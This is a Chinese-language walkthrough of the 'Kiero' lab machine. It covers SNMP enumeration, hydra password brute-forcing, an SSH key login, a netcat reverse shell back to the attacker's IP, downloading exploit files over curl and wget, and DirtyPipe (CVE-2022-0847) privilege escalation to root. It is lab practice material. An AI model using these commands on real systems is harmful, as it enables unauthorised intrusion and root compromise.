Challenge 5 - Kiero
Challenge 5 - Kiero
└─$ rustscan -a 192.168.230.149 --scripts none --ulimit 5000 | tee rustscan
└─$ sudo nmap -sCV -p 21,22,80 192.168.230.149 | tee nmap
└─$ whatweb http://192.168.230.149 | tee whatweb
Web 看來沒啥搞頭
└─$ sudo nmap -sU -p 161 192.168.230.149
└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.230.149 -t 150 -x txt,pdf,git,php | tee gobuster-80
沒啥 HTTP Status 200 的,看來沒啥搞頭
snmp 要參考這一篇 https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp
尤其是這一段要查看 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
照著上面的範例改進一下一樣輸入進行列舉
snmpwalk -v 1 -c public 192.168.230.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
記得要先安裝 SNMP-FRAMEWORK-MIB,文章中一樣有教學 apt-get install snmp-mibs-downloader
結果要使用 sudo apt-get install snmp-mibs-downloader 才能順利安裝
看到有個訊息寫 kiero 帳號的密碼被 reset 成預設值
改一下 snmp query 內容如下
snmpwalk -v 1 -c public 192.168.230.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
可以看到應該是 john 去 reset kiero 的密碼
編輯使用者清單與密碼表,注意使用全大寫、全小寫、第一個大寫的格式
└─$ hydra -L ./usernames.txt -P ./passwords.txt ftp://192.168.230.149
└─$ hydra -L ./usernames.txt -P ./passwords.txt ssh://192.168.230.149,沒有結果
先將檔案屬性通通改成 600
開始測試 kiero & john 後發現組合是 john with id_rsa 可以登入 SSH
└─$ ssh -i id_rsa john@192.168.230.149
下載 nc、linpeas.sh 然後再建立一個 session,發現建立完後原本的 tty 會卡住
所以改用背景執行,指令最後面加上 &,./nc 192.168.45.215 4444 -e /bin/bash &
執行 ./linpeas.sh | tee linpeas.txt
於 [ Executing Linux Exploit Suggester ] 漏洞的建議中有一個是 DirtyPipe 如下
可以直接看他的參考網址 https://dirtypipe.cm4all.com/、https://haxx.in/files/dirtypipez.c
接著直接執行 searchsploit DirtyPipe、searchsploit -m 50808
上傳到靶機 curl -O http://192.168.45.215/50808.c 然後進行編譯 gcc 50808.c -o 50808
直接執行 50808,執行完畢後發現沒有用還是一般使用者
總覺得這是 offsec 故意的,exploit 針對的核心是 5.8 < 5.16.11
查一下現在靶機的 kernel,uname -r & arch 或是 uname -a 或是 uname -mrs 都可以
結果是 5.9.0 有符合 Exploit 的範圍
後來改用 GitHub 上針對 CVE-2022-0847 的 Exploit 如下
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/blob/main/exploit-1.c
wget http://192.168.45.215/exploit-1.c
執行 ./dirtypipe 執行 whoami id 看一下已經是 root 了
不是 tty 所以先下 "script -c /bin/bash -q /dev/null",ls 後直接拿答案了
補充說明 GitHub 上針對 CVE-2022-0847 的腳本有兩支 exploit-1.c、exploit-2.c
第二支還有直接提供 .sh 的檔案讓你不需要自行編譯
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/tree/main
看了一下兩支的說明不同,searchsploit 裡面的 50808.c 就是上述的第二支
所以雖然是 DirtyPipe,但可以利用的方式也不一樣
留言
張貼留言